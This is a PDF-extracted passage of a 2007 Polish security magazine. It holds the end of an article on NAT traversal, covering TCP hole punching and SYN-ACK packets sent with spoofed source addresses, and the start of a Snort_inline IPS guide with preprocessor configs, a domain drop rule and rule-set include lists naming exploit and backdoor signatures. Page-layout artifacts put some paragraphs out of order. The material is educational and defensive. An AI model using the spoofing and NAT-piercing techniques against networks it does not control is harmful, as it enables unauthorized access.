A i B nasłuchują na porcie 3000 oraz
posiadają połączenie z hostem C
(port źródłowy 3000 a port docelowy
5000). Od serwera S dowiadują się o
swoich publicznych interfejsach. Host
A dowiaduje się, że publiczny inter-
fejs B to 157.158.180.235 i używa on
portu 3000 do połączenia się z C
(przy założeniu, że NAT R1 i R2 nie
modyfikuje portów źródłowych przy
translacji). Podobne informacje otrzy-
muje host B. Teraz A i B mogą doko-
nać próby połączenia bezpośrednie-
go. A łączy się do publicznego inter-
fejsu hosta B używając portu 3000
jako źródłowego. Podobnie postępu-
je B. Jeśli NAT nie jest symetryczny,
to powinien użyć portu 3000 przy łą-
czeniu się z A do publicznego inter-
fejsu B. W momencie przechodzenia
pakietu z ustawioną flagą SYN przez
router, NAT zapamiętuje informację o
mapowaniu i będzie wpuszczał pakie-
ty, które pochodzą od NAT drugiego
hosta. Przebieg nawiązywania połą-
czenia jest w większości identyczny
jak w przypadku komunikacji za po-
mocą UDP.

Kolejność wysyłania i odbiera-

nia pakietów ma tutaj dość duże zna-
czenie. Mogą tutaj zajść następują-
ce przypadki:

• Pakiet z SYN komputera A dotrze

do R2 przed wysłaniem przez B
pakietu inicjalizującego połączenie
do A (lub przypadek odwrotny);

• A i B wyślą pakiety równocześnie

co spowoduje, że B otrzyma pa-
kiet z SYN pochodzący od A i vi-
ce versa. Jeśli pakiety są ideal-
nie zsynchronizowane w czasie,
dochodzi do tak zwanego równo-
ległego otwarcia połączenia.

W jednym i drugim przypadku zajdzie
sytuacja, w której host posiadający
gniazdo nasłuchujące na porcie P
i próbujący nawiązać połączenie uży-
wając portu P jako źródłowego otrzy-
ma pakiet z ustawioną flagą SYN.
W zależności od implementacji stosu

TCP/IP przychodzący pakiet zosta-

nie skojarzony albo z gniazdem na-
słuchującym, albo z gniazdem, które
próbowało nawiązać połączenie. Nie
mniej jednak oba przypadki dopro-
wadzają do nawiązania połączenia.
W pierwszym przypadku – pakiet zo-
stanie zinterpretowany jako próba na-
wiązania połączenia. W odpowiedzi
zostanie odesłany pakiet z ustawioną
flagą SYN-ACK. Funkcja connect wy-
wołana na maszynie, która zaakcep-
towała połączenie, zwróci błąd, gdyż
adresy i porty źródłowe oraz docelo-
we są używane przez inne połącze-
nie. W przypadku, gdy pakiet SYN zo-
stanie skojarzony z gniazdem próbu-
jącym nawiązać połączenie, gniazdo
nasłuchujące nie będzie w ogóle wy-
korzystywane. Funkcja connect zwróci
status świadczący o udanym połącze-
niu. Pakiet, który został wysłany przez
drugą maszynę nie zawierał flagi ACK,
więc stos TCP/IP wyśle pakiet z usta-
wionymi flagami SYN-ACK (zacho-
wując oryginalny i ustawiając własny
numer sekwencyjny pakietu). Druga
strona, w momencie odebrania pakie-
tu z ustawionymi flagami SYN-ACK,
potwierdza synchronizację numerów
sekwencyjnych, a całe połączenie jest
gotowe do „użytku”.

Przy stosowaniu tej techniki mo-

że dojść do sytuacji, w której oba
hosty wyślą w tym samym czasie pa-
kiet SYN do siebie, a następnie oba
jednocześnie potwierdzą otrzyma-
ne numery sekwencyjne pakietem

SYN-ACK a następnie ACK. Imple-
mentacje TCP/IP różnie radzą sobie
z tą sytuacją. Możliwa jest sytuacja, w
której z obu stron wywołania connect
się nie powiodą, natomiast połącze-
nie zostanie „magicznie stworzone
gniazdami nasłuchującymi (po obu
stronach accept się powiedzie).

Stosowanie tej techniki pociąga

za sobą konieczność istnienia dwóch
gniazd przypiętych do tego samego
portu. Niektóre systemy tego nie po-
trafią u muszą w zamian użyć sekwen-
cyjnej wersji wyżej opisanego algoryt-
mu. Host A zgłasza chęć połączenia
się z B poprzez serwer C. B wykonuje
połączenie do publicznego interfejsu A.
Połączenie to się nie udaje, ponieważ
R1 nie wpuszcza pakietów od B. Na-
stępnie B tworzy gniazdo nasłuchujące

i czeka na połączenia od A. Jeśli NAT
po stronie B nie zlikwiduje wpisów o
połączeniu

B->A

w momencie niepowo-

dzenia połączenia, to A może zerwać
połączenie z C i dokonać próby połą-
czenia się na publiczny interfejs B (uży-
wając tego samego portu źródłowego,
którego używał łącząc się z C). NAT po
stronie B powinien wpuścić żądanie A
umożliwiając gniazdu nasłuchującemu
komputera B nawiązanie połączenia.

Wprawny czytelnik niewątpliwie

zauważy, że skoro NAT R1 i R2 nie
zmieniają portów źródłowych to po-
średnik C nie jest potrzebny. Uwaga
ta jest słuszna zarówno dla protoko-
łu UDP jak i również TCP. Jeśli tyl-
ko hosty A i B znają adresy swoich
publicznych interfejsów, ustaliły port,
na którym chcą dokonać połączenia
i zaczną całą operację w tym samym
czasie – połączenie zostanie zreali-
zowane. W przypadku braku transla-
cji portu pośrednik służy wyłącznie
do wymiany informacji o adresach IP
i synchronizacji całej operacji.

TCP – inne podejście

Złożoność protokołu TCP sprawia, że
istnieją alternatywne podejścia do te-
go prezentowane wyżej. Podobnie jak
w przypadku UDP można posłużyć się
metodą polegającą na ustaleniu takiej
wartości TTL, aby pakiet mógł swo-
bodnie opuścić sieć lokalną, ale na ty-
le małej, aby nie dotarł do routera do-
celowego. Gdy oba hosty wyślą takie
pakiety, spowoduje to skonfigurowa-
nie ich routerów NAT tak, aby akcep-
towały pakiety należące do przyszłe-
go połączenia. Po otwarciu „tunelów
w NAT można postąpić na trzy sposo-
by. Pierwszy polega na poinformowa-
niu przez A oraz B serwera pośredni-
czącego o numerach sekwencyjnych
użytych do otwarcia tunelu. Następnie
serwer pośredniczący wysyła dwa pa-
kiety ze sfałszowanymi adresami źró-
dłowymi. Pakiet y mają ustawione fla-
gi SYN-ACK i ich zadaniem jest zasy-
mulowanie drugiego etapu połączenia
A z B i B z A. Stosowanie tej techni-
ki pociąga za sobą konieczność zna-
lezienia ISP, który pozwala na wysy-
łanie sfałszowanych ramek, co może
stanowić największy problem. Kolejny
pomysł polega na tym, aby po otwar-

background image

Wszystko o NAT

hakin9 Nr 1/2007

www.hakin9.org

57

Tekst wprowadzony do okienka ter-
minala hosta B zostanie odebrany
przez serwer A oraz odesłany z po-
wrotem do klienta B.

Czarne chmury na

horyzoncie i nie tylko

Jeśli NAT posiada maszynę stano-
wą, za pomocą której filtruje pakie-
ty, które nie powinny zostać przetwo-
rzone w danym stanie, to możliwe jest,
że nie uda nam się nawiązać połącze-
nia. Na przykład, jeśli jedynie akcep-
towalną przez NAT sekwencją pakie-
tów jest SYN, SYN-ACK, ACK, to NAT
nie zaakceptuje drugiego przychodzą-
cego pakietu SYN prezentowanego w
drugim podejściu czy wychodzącego
pakietu SYN-ACK z trzeciego podej-
ścia, nie mówiąc już o metodzie, któ-
ra nie stosuje metody z TTL. Kolejny
problem może stwarzać interpretowa-
nie pakietów ICMP oraz tych z usta-
wioną flagą RST, które mogą spowo-
dować zmianę wewnętrzną stanu po-
łączenia w NAT. Ale warto mieć na
uwadze, że nawet najbardziej opor-
ne NAT można w sprzyjających wa-
runkach „przebić”. Wystarczy zastoso-
wać mechanizmy przewidywania por-
tów, dobrze zsynchronizować moment
nawiązywania połączenia lub zmodyfi-
kować stos TCP/IP po stronie klientów
tak, aby był w stanie nawiązywać po-
łączenia TCP pozwalając na małe od-
stępstwa od zasad protokołu. Opisa-
nie wszystkich pomysłów, które wyko-
rzystywano do przebijania NAT zajęło-
by znacznie więcej miejsca niż niniej-
szy artykuł, a nawet wystarczyłoby na
małą książkę.

Czekając na koniec świata

Przebijanie mechanizmu translacji
adresów i portów jest bardzo ciekawą
i edukującą czynnością.

Można nauczyć się wiele nie tyl-

ko o mechanizmie działania NAT,
ale również poznać zasady rządzą-
ce stosami TCP/IP. Producenci opro-
gramowania oraz urządzeń VoIP wy-
korzystują wyżej wymienione techniki
w swoich rozwiązaniach praktycz-
nie od momentu, kiedy technologia
ta stała się powszechnie stosowana.
Problem nawiązywania bezpośred-
nich połączeń jest zatem aktualny. l

ciu tunelu w NAT przez host A (pa-
kietem SYN), wyłącznie host B doko-
nał próby bezpośredniego połączenia
się do publicznego interfejsu hosta A.
W odróżnieniu od poprzedniego sposo-
bu, pośrednik służy wyłącznie do syn-
chronizacji. Trzecie podejście wymaga
otwarcia tunelu po obu stronach – za-
równo NAT hosta A jak i B. Dodatkowo
wymagana jest wymiana poprzez po-
średnika informacji o numerach se-
kwencyjnych użytych do otwarcia
tunelu”. Następnie hosty A oraz B
wysyłają po jednym pakiecie każdy.
Pakiet powinien posiadać ustawio-
ne flagi SYN-ACK oraz numer se-
kwencyjny zdalnej maszyny uzyskany
od pośrednika. Jedna z wyżej opisa-
nych metod została zaimplementowa-
na w bibliotece XSTUNT. Do tworze-
nia bezpośrednich połączeń wykorzy-
stuje ona pośredniczący który oprócz
synchronizacji służy również do wykry-
cia typów NAT łączących się klientów.

Serwer do poprawnego działania wy-
maga dwóch adresów IP, które wyko-
rzystywane one są do określenia typu
NAT. Aby uruchomić serwer wystarczy
wydać polecenie:

./XSTUNTServer 157.158.180.200
157.158.180.201

Na stronie XSTUNT dostępny jest
przykład klienta oraz serwera biblio-
teki. Serwer rejestruje się w kompu-
terze pośredniczącym i oczekuje na
połączenie od klienta. Klient łącząc
się do serwera (poprzez pośrednika)
wysyła do niego tekst wprowadzany
interaktywnie z klawiatury. Serwer
odebrawszy dane od klienta wysyła
je z powrotem do klienta. Oczywiście
połączenie pomiędzy klientem a ser-
werem jest połączeniem bezpośred-
nim pomiędzy sieciami lokalnymi.

Aby sprawdzić działanie przykła-

du ze strony wystarczy na hoście A
wydać polecenie:

./xecho server to_jest_id_mojego_
serwera 157.158.180.200 157.158.180.201

Natomiast na komputerze B nale-
ży uruchomić ten sam program lecz
z innymi parametrami:

./xecho client client_id to_jest_id_
mojego_serwera 157.158.180.200
157.158.180.201

O autorze

Konrad Malewski, absolwent informa-
tyki Politechniki Śląskiej. Obecnie dok-
torant informatyki na AGH. Administra-
tor amatorskich sieci komputerowych.
Zarówno w pracy jak i prywatnie intere-
suje się programowaniem oraz bezpie-
czeństwem aplikacji sieciowych.
Kontakt z autorem:
kmalewski@gmail.com

Terminologia

• NAT – (ang. Network Address Translation), zwana także „maskaradą”. Usługa

działająca na routerze pozwalająca komputerom w sieci lokalnej na transparentny
dostęp do innej sieci (zazwyczaj Internet). Czasami można spotkać się ze stwier-
dzeniem host NAT, host za NATem. W pierwszym przypadku chodzi po prostu o
komputer, na którym działa usługa NAT. Drugie określenie jest wykorzystywane
do określenia komputera korzystającego z tejże usługi.

• STUN – (ang. Simple Traversal of User Datagram Protocol Through Network Ad-

dress Translators). Generalnie oznacza protokół, dzięki któremu host za NAT mo-
że wykryć swój publiczny adres, typ NAT, sposób mapowania jego połączeń etc.
Mianem tym określa się również technikę tworzenia połączeń pomiędzy sieciami
lokalnymi za pomocą protokołu UDP.

• TURN – (ang. Traversal Using Relay NAT). Protokół za pomocą którego dwa ho-

sty znajdujące się w różnych sieciach lokalnych przesyłają do siebie dane wyko-
rzystując pośrednika.

Pakiet SYN, Pakiet SYN-ACK, Pakiet ACK – Nagłówek protokołu TCP posiada pola
będące flagami, które wykorzystywane są między innymi do nawiązywania, kończenia
oraz synchronizacji połączenia. Pakiet SYN stanowi wiadomość TCP z ustawioną flagą
SYN. Pakiety SYN-ACK oraz pakiet ACK analogicznie.

background image

www.hakin9.org

hakin9 Nr 1/2007

58

Obrona

S

nort to w zasadzie system detekcji wła-
mań (ang. Intrusion Detection System,
IDS), jego natywny tryb działania opiera

się więc na wykorzystaniu karty sieciowej nasłu-
chującej ruchu w danym segmencie sieci.

Aby Snort_inline był w stanie przetwarzać

ruch w segmencie sieci musi on zostać niewi-
dzialnie weń włączony, za pomocą dwóch kart
sieciowych w trybie mostka (ang. bridge) oraz
funkcjonalności inline. Funkcjonalność tę za-
pewnia nam kolejkowanie ruchu poprzez ipta-
bles (

ip _ queue

); nie jest to jednak wszystko,

musimy bowiem wiedzieć także, na poziomie ip-
tables, który ruch kolejkować. Dzięki temu trybo-
wi pracy Snort_inline może on zachowywać się
jak każdy inny system zapobiegania włamaniom
(ang. Intrusion Prevention System, IPS) i bloko-
wać nawiązywane połączenia. Aby Snort mógł
działać jako system zapobiegania włamaniom
musi on zostać skompilowany z opcją pobiera-
nia flex-response, co pozwala mu na resetowa-
nie ruchu, który ma być blokowany.

Podsumowując, możemy stwierdzić że

Snort_inline to zdecydowanie najefektywniej-
szy i najdokładniejszy tryb, jako że odrzuca
on ruch w sieci na podstawie załadowanych
uprzednio reguł.

Snort_inline w sieci lokalnej

Pierwsza część niniejszego artykułu poświę-
cona będzie krótkiemu wprowadzeniu do za-
gadnienia Snort_inline w sieci lokalnej. Zakła-
damy, że ruch w LANie zorientowany jest głów-
nie na klientów. Na tej podstawie zdefiniować
można następujące klasy ruchu w sieci:

• poczta, klienci WWW, p2p, komunikatory,

spyware, malware, wirusy, trojany, vpn.

Wspólną cechą wszystkich tych typów z punk-
tu widzenia IDS / IPS jest, że nie możemy prze-
twarzać ruchu zaszyfrowanego; oznacza to
brak na liście usług vpns oraz ssl.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

stopień trudności

Wykorzystanie Snort_inline okazało się skuteczną strategią

na zabezpieczenie sieci wewnętrznych, DMZ oraz domowych,

w przypadku wielu różnych środowisk i scenariuszy. Aby

narzędzie to działało poprawnie w trybie drop powinno ono

adaptować się do właściwości środowiska, które chroni.

Z artykułu dowiesz się...

• jak działa Snort_inline,
• podstaw systemów zapobiegania włamaniom,
• jak dostrajać konfigurację Snort_inline.

Powinieneś wiedzieć...

• podstawy TCP/IP w środowisku Linux,
• podstawowe zasady działania IDSów.

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

59

Rysunek 1 pokazuje poprawne

rozwiązanie dla ochrony tego rodza-
ju, w którym IPS umieszczony po-
między routerem, a resztą sieci po-
zwala nam analizować ruch, który
chcemy monitorować bądź ochra-
niać.

Po poprawnym przygotowaniu

urządzenia musimy dowiedzieć się,
jakie reguły i preprocesory Snorta
będziemy wykorzystywać.

Załóżmy, że konfiguracja Snorta

znajduje się w pliku snort_inline.conf
– na przykład taka, jak dostępna
pod adresem www.snortattack.org/

mambo/script/snort_inline.conf
– i że dla sieci lokalnej zawiera ona

preprocesory jak pokazano na Li-
stingu 1.

Preprocesory dla sieci

lokalnych

Preprocesory te przedstawia Li-
sting 1. Poniżej znajdziecie krótki
opis poszczególnych wymienionych
w nim komponentów i funkcji.

Clamav – procesor ten insta-

lowany jest jedynie wtedy, gdy zo-
stał wybrany podczas instalacji
(

--enable-clamav

). Dokonuje on skano-

wania w poszukiwaniu wirusów z bazy
danych Clamava i upewnia się, że nie
są one zaszyfrowane bądź spakowa-
ne. Preprocesor ten niezmiernie wy-

dajnie blokuje e-maile zainfekowane
na potrzeby phishingu. Wykorzystuje
on następujące funkcje:

ports

– lista portów do skanowa-

nia (all, !22 – oprócz 22, 110 – tyl-
ko 110)

toclientonly

– określa kierunek

skanowanego ruchu

action-drop

– informuje urządze-

nie, jak reagować na wirusy

dbdir

– katalog zawierający bazę

danych definicji Clamava

dbreloadtime

– co ile czasu baza

powinna zostać przeładowana

Perfmonitor – preprocesor ten po-
zwala nam na zapisywanie w postaci
tekstowej wszelkich statystyk zwią-
zanych z wydajnością oraz przepły-
wem danych w sieci. Jest on krytycz-
ny dla poprawnego funkcjonowania
narzędzia pmgraph, o którym powie-
my więcej później. Również i ten pre-
procesor należy uruchomić podczas
instalacji (

--enable-perfmon

). Posia-

da następujące funkcje:

time –

czas niezbędny do prób-

kowania odczytu danych

Scenariusze dla Snort_inline

Należy zauważyć, że system zorientowany na blokowanie włamań powinien być odpo-
wiednio skonfigurowany i gotowy do adaptacji do dowolnych scenariuszy sieciowych
i rodzajów ruchu. Korzystanie z IPS w trybie inline nie rozwiązuje wszystkich proble-
mów z bezpieczeństwem, pozwala za to na stworzenie scentralizowanego, dynamicz-
nego i wydajnego systemu bezpieczeństwa. IPS powinien wykrywać ruch do i z chro-
nionego źródła. Dzięki interfejsom sieciowym działającym w trybie mostka możemy
niezauważalnie włączyć urządzenie w sieć i w ten sposób zebrać wszelkie niezbędne
dane. Do stworzenia urządzenia inline potrzebna jest nam wiedza o wszelkich właści-
wościach chronionej sieci – od warstwy sieci po warstwę aplikacji.

Poniżej opiszemy kilka przykładów rodzajów segmentów sieciowych, w których

implementacja IPS w trybie inline mogłaby przynieść korzyści zwiększając bezpie-
czeństwo całego systemu:

• sieć wewnętrzna; grupa klientów obsługujących WWW, pocztę, komunikatory, p2p

itd. (Rysunek 1),

• DMZ; grupa serwerów zapewniających usługi powiązane z Internetem (smtp, web,

ftp, pop3, imap, mysql itd.) (Rysunek 2),

• LAN + DMZ (Rysunek 3).

Przede wszystkim powinniśmy na jakiś czas uruchomić Snort_inline w trybie IDS (Alert),
który to czas proporcjonalny jest do rozmiaru sieci (innymi słowy, im większa liczba sys-
temów w niej, tym więcej potrzeba czasu). W okresie tym powinniśmy:

• wychwycić awarie (problemy z wydajnością bądź składowaniem danych, spowol-

nienia itd.),

• przeanalizować ruch w sieci pod kątem fałszywych alarmów.

W ten sposób obserwując zebrane dane możemy dokonać zmian w konfiguracji i zop-
tymalizować działanie urządzenia. Warto zauważyć, że w porównaniu z rozwiązania-
mi komercyjnymi implementacja otwartego IPS może nie być tak prosta, jak się to mo-
że wydawać, możesz mieć zatem pewne problemy z usuwaniem wielu fałszywych alar-
mów na pierwszym etapie procedury dostrajania.

Sugerujemy instalację Snort_inline na dedykowanym komputerze i odpowiednią

organizację jego zasobów sprzętowych (CPU, RAM), według następujących, prostych
zasad: większa liczba reguł wymaga więcej RAMu, zaś duża intensywność ruchu w
sieci zwiększa obciążenie procesora.

Niedawne testy sieciowe pokazały, że do zabezpieczenia połączenia ADSL

(1280/256) potrzebny jest system Geode o częstotliwości zegara 266 MHz i z 128 MB
RAMu (w przypadku tysiąca reguł). Dla pasm o szerokości większej niż 1 Mbps zale-
camy Pentium 4 1 GHz z 512 MB RAM (w przypadku trzech tysięcy reguł).

Rysunek 1.

Ustawiamy urządzenie

w sieci lokalnej

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

60

File –

ścieżka do pliku z danymi

pkcnt –

maksymalna liczba re-

kordów, jaka może znaleźć się w
jednym pliku

Flow – preprocesor ten potrzebny
jest do działania innych preproce-
sorów, takich jak

flowbits detection

plug-in

czy

flow-portscan

. W skrócie,

preprocesor Flow pozwala Snortowi
przechowywać mechanizmy akwi-
zycji danych. Ma następujące funk-
cje:

stats _ interval

– parametr ten

określa przedziały czasu, w se-
kundach, w których Snort będzie
zrzucać statystyki na standardo-
we wyjście.

Hash

– parametr ten określa me-

todę mieszania. Wartość 1 defi-
niuje mieszanie po bajcie, war-
tość 4 – mieszanie po liczbie cał-
kowitej.

Stream 4 – preprocesor ten daje
Snortowi umiejętność widzenia pod-
stawowych właściwości pakietów
oraz to, gdzie został wygenerowany
(klient czy serwer). Cytując Marty-
'ego Roescha: Zaimplementowałem

stream4 na skutek chęci uzyskania

potężniejszych mechanizmów po-

nownego składania strumieni i obro-

ny przed najnowszymi 'atakami bez-

stanowymi. Wykorzystuje następują-
ce funkcje:

disable _ evasion _ alerts

– wy-

łącza alarmy zapisywane przez
stream4

midstream _ drop _ alerts

– na-

kazuje preprocesorowi blokowa-
nie połączeń generowanych bez
tworzenia danego strumienia.

Rpc decode – preprocesor ten po-
nownie składa strumienie rpc z po-
jedynczych pakietów celem ułatwie-
nia ich analizy, jeżeli obecny jest pre-
procesor stream4 możliwe jest prze-
twarzanie tylko ruchu wychodzące-
go od klientów.

Telnet decode – preprocesor

ten normalizuje przepływ znaków
w sesjach protokołu telnet. Nale-
ży podać mu porty, które ma prze-
twarzać.

Reguły dla sieci lokalnych

Kiedy już zdefiniowaliśmy preproce-
sory, Snort potrzebuje określenia w
konfiguracji odpowiednich reguł. Ist-
nieje wiele różnych rodzajów reguł:

alert

– generuje komunikat alar-

mowy, a następnie odnotowu-
je go go w pliku bądź bazie da-
nych.

log

– zapisuje do pliku bądź bazy

danych.

pass

– ignoruje wybrany przez

siebie ruch.

drop

– za pomocą iptables odrzu-

ca pakiet, a następnie odnotowu-
je go w pliku bądź bazie danych

reject

– w przypadku TCP; połą-

czenie jest resetowane z pomocą
iptables, w przypadku UDP wy-
syłany jest komunikat icmp host

unreachable; następnie zdarze-
nie odnotowywane jest w pliku
bądź bazie danych

sdrop

odrzuca pakiet za pomo-

cą iptables nie logując go.

W przedstawionym tutaj przykła-
dzie zadaniem reguły jest blokowa-
nie miosito.com; jest to część zbio-
ru reguł służącego blokowaniu ru-
chu kierowanego do sieciowych ka-
syn nieprzestrzegających reguł wło-
skiego prawa. Funkcja

drop

określa

działanie, które iptables musi wyko-
nać jak tylko reguła zostanie zasto-
sowana.

Listing 1.

Zalecane preprocesory dla sieci lokalnej

preprocessor perfmonitor: time 60 file/var/log/snort/perfmon.txt pktcnt 500
preprocessor flow:stats_interval 0 hash 2
preprocessor stream4_reassemble: both
preprocessor stream4: disable_evasion_alerts
midstream_drop_alerts
preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode

Tryb mostka

Ustawienie dwóch kart w tryb mostka oznacza połączenie ich funkcjonalności w
warstwie drugiej, co czyni je przezroczystymi dla ruchu w sieci. W trybie tym pa-
kiety przekazywane są z jednej karty do drugiej, co pozwala na poprawne przeka-
zywanie ruchu. Aby uruchomić ten tryb pod Linuksem należy wykonać następują-
ce operacje:

Instalujemy pakiet

bridge-utils

-

apt-get install bridge-utils

; potrzebne

będzie jądro w wersji 2.6, w przeciwnym razie należy ponownie skompilować jądro
wersji 2.4 włączywszy uprzednio moduł mostka. Mostek pomiędzy dwoma kartami
sieciowymi można zestawić następująco:

/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 eth0
/usr/sbin/brctl addif br0 eth1
/sbin/ifconfig br0 up

Adres MAC przypisany br0 będzie taki sam, jak adres pierwszego interfejsu, który zo-
stał z nim skojarzony.

background image

Snort_inline jako rozwiązanie

hakin9 Nr 1/2007

www.hakin9.org

61

drop tcp $home_net any ->
any $http ports (
msg:"snortattack-italian-law";
flow:established;content: "miosito.com";
classtype:policy-violation;
reference:url,
www.snortattack.net;
)

Przeznaczeniem konfiguracji przed-
stawionej na Listingu 2 jest kontro-
la aplikacji p2p, ochrona przed ata-
kami z wewnątrz (które to ataki sta-
nowią niemal 70% wszystkich ata-
ków), a przede wszystkim selekcja
treści oglądanych przez wewnętrz-
ne hosty.

Snort_inline w DMZ

Drugą część artykułu poświęcimy
krótkiemu wprowadzeniu do zagad-
nienia Snort_inline w DMZ.

Jak wspomnieliśmy wcześniej,

ruch sieciowy w DMZ z założenia
dotyczyć będzie głównie serwe-
rów. Na tej podstawie zdefiniować
możemy następujące klasy ruchu
w DMZ:

• serwer poczty, serwer WWW,

serwer bazodanowy, serwer apli-
kacji, wirus, vpn.

Jednym z możliwych rozwiązań
dla tego rodzaju segmentów sie-
ciowych jest umieszczenie weń
IPS. Tym razem system umiesz-
czony będzie pomiędzy routerem,
a DMZ.

Preprocesory dla sieci DMZ

Jedynym preprocesorem, którego
konfiguracja uległa zmianie jest Cla-
mav – ważne jest zdefiniowanie dlań
parametru

toserveronly

aby wybrać

jedynie ruch skierowany do serwe-
rów. Patrz Listing 3.

Frag3 – preprocesor ten zastę-

puje frag2 i jest niezbędny do re-
konstrukcji strumienia danych roz-
członkowanego wskutek fragmenta-
cji transmisji.

Reguły dla sieci DMZ

Po zdefiniowaniu wszystkich pre-
procesorów musimy podać Snortowi
trochę reguł. Poniżej znajdziesz kilka
ich zastosowań:

max _ frags

– maksymalna liczba

śledzonych fragmentów

policy

– wybiera sposób frag-

mentacji, dostępne metody to
first, ast, bsd, bsd-right, linux.
Domyślnym ustawieniem jest
bsd.

detect _ anomalies

– wykrywa

błędy fragmentacji.

Reguły zalecane do użytku w sieci
DMZ przedstawia Listing 4.

Listing 2.

Lista przydatnych reguł do ochrony sieci lokalnej

# Ogólne

include

/

etc

/

snort_inline

/

rules

/

bleeding

.

rules

# Głównie spyware

include

$

RULE_PATH

/

bleeding

-

malware

.

rules

include

$

RULE_PATH

/

malware

.

rules

include

$

RULE_PATH

/

spyware

-

put

.

rules

# Eksploity i ataki bezpośrednie

include

$

RULE_PATH

/

exploit

.

rules

include

$

RULE_PATH

/

bleeding

-

exploit

.

rules

include

$

RULE_PATH

/

community

-

exploit

.

rules

# DOS

include

$

RULE_PATH

/

dos

.

rules

include

$

RULE_PATH

/

ddos

.

rules

include

$

RULE_PATH

/

bleeding

-

dos

.

rules

# Dotyczące WWW

include

$

RULE_PATH

/

web

-

client

.

rules

include

$

RULE_PATH

/

community

-

web

-

client

.

rules

# Sygnatury poczty

include

$

RULE_PATH

/

community

-

mail

-

client

.

rules

# Trojany, wirusy oraz spyware

include

$

RULE_PATH

/

virus

.

rules

include

$

RULE_PATH

/

bleeding

-

virus

.

rules

include

$

RULE_PATH

/

community

-

virus

.

rules

# Peer to peer

include

$

RULE_PATH

/

p2p

.

rules

include

$

RULE_PATH

/

bleeding

-

p2p

.

rules

Rysunek 2.

Przykład sieci DMZ

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

62

Snort w sieci mieszanej

Jeżeli chodzi o urządzenie w sie-
ci mieszanej (pokazanej na Rysun-
ku 3), zalecamy następujące urzą-
dzenia.

Preprocesory dla sieci miesza-

nej znaleźć można na Listingu 5, od-
powiednie reguły zaś przedstawia
Listing 6. Przeznaczeniem opisanej
w nich konfiguracji jest kontrola wi-
rusów oraz ochrona maszyn przed
atakami z zewnątrz w oparciu o blo-
kowanie eksploitów wymierzonych
w usługi. Kilka różnych technik ata-
ku przedstawimy później, na bazie
praktycznych przykładów.

Monitorowanie ataków

i zarządzanie regułami

Interfejsy, które przeanalizujemy
i opiszemy, opierają się na bazach
danych. W zasadzie, wszystkie wy-
niki ze Snorta składowane będą
w różnego rodzaju bazach danych:
mysql, postgres itp.

Narzędzia te różnią się między

sobą i są napisane w różnych języ-
kach, jednak ogólnie rzecz biorąc
wszystkie robią to samo. Są to: ACID,
BASE, PLACID, SNORT REPORT,
SGUIL itd.

Narzędzia te, napisane w PHP

bądź Pythonie, mają krytyczne zna-

czenie dla dobrego IPS / IDS – kry-
tyczną jest bowiem wiedza o tym,
co dzieje się z naszym urządzeniem
i naszą siecią. Interfejsy te bar-
dzo prosto się instaluje, wystarczy
rozpakować archiwa i wyedytować
odpowiednie pliki konfiguracyjne
tak, by narzędzia łączyły się z bazą
danych Snorta.

Tutaj zdecydowaliśmy się przyj-

rzeć dwóm z nich: BASE oraz PLA-
CID.

Pierwsze z nich jest pochod-

ną ACID (Analysis Console for In-
trusion Database); BASE to skrót
od Basic Analysis and Security
Engine (patrz Rysunek 4). Narzę-
dzie to pozwala na przeglądanie
i przetwarzania bazy danych Snor-
ta i jest napisane w PHP. Jego siłą
jest wiele opcji badawczych oraz
możliwość grupowania alarmów
na podstawie ich adresów IP, jak
również innych parametrów, takich
jak czas bądź rodzaj reguły.

Podstawowa implementacja jest

półautomatyczna, wystarczy rozpa-
kować archiwum tar.gz w domyśl-
nym katalogu Apache'a (

/var/www/

),

zmienić właściciela utworzone-
go weń folderu oraz przejść do je-
go pierwszego poziomu za pomo-
cą przeglądarki. Zautomatyzowa-
na procedura przeprowadza nas
przez tworzenie niezbędnych tabel
i pozwala rozpocząć korzystanie
z aplikacji.

tar -zxvf base-1.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www
chown apache. /var/www/base

PLACID

PLACID napisany został w Pytho-
nie i jest, podobnie jak BASE, prze-
glądarką zdarzeń w bazie danych.
Zapewnia taką samą funkcjonal-
ność jak BASE, jednak stwierdzo-
no, że działa szybciej w przypadku
większych baz danych.

Instalacja PLACID nie jest

taka prosta, trzeba zainstalować
Pythona 2.3 oraz określić w pli-
ku konfiguracyjnym Apache'a kilka
niezbędnych do poprawnego dzia-
łania parametrów:

Listing 3.

Lista preprocesorów dla sieci DMZ

Preprocesory dla DMZ
preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500
preprocessor flow: stats_interval 0 hash 2
preprocessor frag3_global: max_frags 65536
preprocessor frag3_engine: policy first detect_anomalies
preprocessor stream4: disable_evasion_alerts detect_scans inline_state
preprocessor stream4_reassemble: both
preprocessor rpc_decode: 111 32771
preprocessor bo
preprocessor telnet_decode
preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/

clamav, dbreload-time 43200

Listing 4.

Lista reguł zalecanych dla DMZ

include

$

RULE_PATH

/

bad

-

traffic

.

rules

include

$

RULE_PATH

/

exploit

.

rules

include

$

RULE_PATH

/

scan

.

rules

include

$

RULE_PATH

/

dos

.

rules

include

$

RULE_PATH

/

ddos

.

rules

include

$

RULE_PATH

/

dns

.

rules

include

$

RULE_PATH

/

web

-

cgi

.

rules

include

$

RULE_PATH

/

web

-

iis

.

rules

include

$

RULE_PATH

/

web

-

misc

.

rules

include

$

RULE_PATH

/

web

-

php

.

rules

include

$

RULE_PATH

/

community

-

web

-

php

.

rules

include

$

RULE_PATH

/

netbios

.

rules

include

$

RULE_PATH

/

attack

-

responses

.

rules

include

$

RULE_PATH

/

mysql

.

rules

include

$

RULE_PATH

/

virus

.

rules

include

$

RULE_PATH

/

web

-

attacks

.

rules

include

$

RULE_PATH

/

backdoor

.

rules

include

$

RULE_PATH

/

bleeding

-

virus

.

rules

include

$

RULE_PATH

/

bleeding

-

attack_response

.

rules

include

$

RULE_PATH

/

bleeding

-

dos

.

rules

include

$

RULE_PATH

/

bleeding

-

exploit

.

rules

include

$

RULE_PATH

/

bleeding

-

malware

.

rules

include

$

RULE_PATH

/

bleeding

-

scan

.

rules

include

$

RULE_PATH

/

bleeding

